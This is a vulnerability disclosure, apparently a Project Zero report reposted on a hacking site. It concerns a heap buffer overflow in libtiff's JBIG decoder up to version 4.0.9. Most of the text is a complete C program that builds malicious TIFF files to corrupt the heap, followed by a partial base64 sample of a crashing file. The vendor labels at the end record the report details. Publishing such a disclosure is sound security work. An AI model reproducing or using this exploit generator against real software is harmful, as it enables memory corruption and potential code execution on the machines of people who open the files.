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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.

The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it:


static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
	struct jbg_dec_state decoder;
	int decodeStatus = 0;
	unsigned char* pImage = NULL;
	(void) size, (void) s;
	if (isFillOrder(tif, tif->tif_dir.td_fillorder))
	{
		TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
	}
	jbg_dec_init(&decoder);
(...)
	decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
				  (size_t)tif->tif_rawdatasize, NULL);
	if (JBG_EOK != decodeStatus)
	{
		(...)
	}
	pImage = jbg_dec_getimage(&decoder, 0);
	_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
	jbg_dec_free(&decoder);
	return 1;
}


The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy.

The attack primitive here ends up as follows:
1) The attacker gets to perform an allocation of a size of his choosing.
2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer.

Reproducing testcases can be generated using the following C code:
=============================================================================
*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"


void output_bie(unsigned char *start, size_t len, void *file)
{
  fwrite(start, 1, len, (FILE *) file);

  return;
}

int main(int argc, char**argv)
{
  FILE* inputfile = fopen(argv[1], "rb");
  FILE* outputfile = fopen(argv[2], "wb");

  // Write the hacky TIF header.
  unsigned char buf[] = {
    0x49, 0x49, // Identifier.
    0x2A, 0x00, // Version.
    0xCA, 0x03, 0x00, 0x00, // First IFD offset.
    0x32, 0x30, 0x30, 0x31,
    0x3a, 0x31, 0x31, 0x3a,
    0x32, 0x37, 0x20, 0x32,
    0x31, 0x3a, 0x34, 0x30,
    0x3a, 0x32, 0x38, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00
  };
  fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

  // Read the inputfile.
  struct stat st;
  stat(argv[1], &st);
  size_t size = st.st_size;
  unsigned char* data = malloc(size);
  fread(data, size, 1, inputfile);

  // Calculate how many "pixels" we have in the input.
  unsigned char *bitmaps[1] = { data };
  struct jbg_enc_state se;

  jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
  jbg_enc_out(&se);
  jbg_enc_free(&se);

  // The raw JBIG data has been written, now write the IFDs for the TIF file.
  unsigned char ifds[] = {
    0x0E, 0x00, // Number of entries.     +0

    0xFE, 0x00, // Subfile type.          +2
    0x04, 0x00, // Datatype: LONG.        +6
    0x01, 0x00, 0x00, 0x00, // 1 element. +10
    0x00, 0x00, 0x00, 0x00, // 0          +14
    0x00, 0x01, // IMAGE_WIDTH            +16
    0x03, 0x00, // Datatype: SHORT.       +18
    0x01, 0x00, 0x00, 0x00, // 1 element. +22
    0x96, 0x00, 0x00, 0x00, // 96 hex width.  +26
    0x01, 0x01, // IMAGE_LENGTH           +28
    0x03, 0x00, // SHORT                  +30
    0x01, 0x00, 0x00, 0x00, // 1 element  +34
    0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
    0x02, 0x01, // BITS_PER_SAMPLE        +40
    0x03, 0x00, // SHORT                  +42
    0x01, 0x00, 0x00, 0x00, // 1 element  +46
    0x01, 0x00, 0x00, 0x00, // 1          +50
    0x03, 0x01, // COMPRESSION            +52
    0x03, 0x00, // SHORT                  +54
    0x01, 0x00, 0x00, 0x00, // 1 element  +58
    0x65, 0x87, 0x00, 0x00, // JBIG       +62
    0x06, 0x01, // PHOTOMETRIC            +64
    0x03, 0x00, // SHORT                  +66
    0x01, 0x00, 0x00, 0x00, // 1 element  +70
    0x00, 0x00, 0x00, 0x00,          // / +74
    0x11, 0x01, // STRIP_OFFSETS          +78
    0x04, 0x00, // LONG                   +80
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +82
    0x2C, 0x00, 0x00, 0x00, // Offset 2C in file  +86
    0x15, 0x01, // SAMPLES_PER_PIXEL      +90
    0x03, 0x00, // SHORT                  +92
    0x01, 0x00, 0x00, 0x00, // 1 element  +94
    0x01, 0x00, 0x00, 0x00, // 1          +98
    0x16, 0x01, // ROWS_PER_STRIP         +102
    0x04, 0x00, // LONG                   +104
    0x01, 0x00, 0x00, 0x00, // 1 element  +106
    0xFF, 0xFF, 0xFF, 0xFF, // Invalid    +110
    0x17, 0x01, // STRIP_BYTE_COUNTS      +114
    0x04, 0x00, // LONG                   +116
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +118
    0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
    0x1A, 0x01, // X_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 element
    0x1C, 0x00, 0x00, 0x00,
    0x1B, 0x01, // Y_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x24, 0x00, 0x00, 0x00,
    0x28, 0x01, // RESOLUTION_UNIT
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // 2
    0x0A, 0x01, // FILL_ORDER
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // Bit order inverted.
    0x00, 0x00, 0x00, 0x00 };

  // Adjust the offset for the IFDs.
  uint32_t ifd_offset = ftell(outputfile);
  fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
  fseek(outputfile, 4, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  // Adjust the strip size properly.
  fseek(outputfile, ifd_offset + 118, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  fclose(outputfile);
  fclose(inputfile);
  return 0;
}

/*
===============================================================
Build & link with -ljbig.

You can then create a new TIFF file that corrupts the heap by doing
./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff

An example TIFF file that crashes various tiff readers is base64-encoded
below:

SUkqAEgYAAAyMDAxOjExOjI3IDIxOjQwOjI4ADgAAAABAAAAOAAAAAABAAAAAAEAAAC8uAAAAAEA
AAACCAADHNKk0nHy6CbJhVojbsYUZY8vZ+LcRHKCtFjvAcJJY+JibZEZudFeppijmo6K5rQICnd4
Z1zp2bHgMe0JNyzpKY6w/wA4FRbBmV1c+nqZnTk5lH4pnM2x38kR5widHbZSZofrR/RrOxrBrEAR
Ch8ElW2dRwbu3s84jVJkaHSGLNBrA2vtCCKGwuZhkCKq+Uy/Lwov48I7uQoXOsif0xAemOgQv47v
wgwL0yKYY5e+Qp0mCG4kIMXh/Hl6WqiKVJ2vgds8WQuvGXWFLcRdDY7GQ3AIgcMm7s/YpHXeec/2
t3xPPnrYtI/NOMJU/pTZSY2oHKqDbjN5iTdjqEtkj5xKXL6jq1NSeFYIKaPn0LLJSXj+oagzRkia
PmlovyFoddyMpEfBclvJvj7RQ2IN/wAnOptUPR8XJ90XVJvuhjIXEovbo3Aq2QIp5GXnmDUSFolu
qIhWaE6adyhyYV0WUXurfIuez7denhEUhAAJXSvBWuM1M5+3fjbQPepOVvgvW56qMIMcbLa4hAWe
jFABZ5x6PDHtbK5O3nCEwOUbIENNDoFEw7AyqfWQo1isx8/XSP3FU6ohtin8QLiM72QJfi6rrL+Y
VsjYhewva2thqgNjQOpf9xroMyIYStnBzYKPPI3QkM0/bTs/n+4DwLruIy56PxKHOos+e4lfvNls
fuzWZ4N/tP8AzcHanc6NdhyLKieoRAFY3bQP3TXaMeg2dYNrkxy5VeLSp2AHBGnOaBKRgknB3XvT
dF2vICjoqVxfBLDt2ApOxLQ6yyL+dKhlP0NkKj5yReF1loqsm29o02F5GxJuJTUhygxhd7rFNSQS
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Labels:
Vendor-libtiff
Product-libtiff
Severity-High
Methodology-source-review (e.g. Methodology-source-review)
Finder-thomasdullien
Reported-2018-Oct-13
*/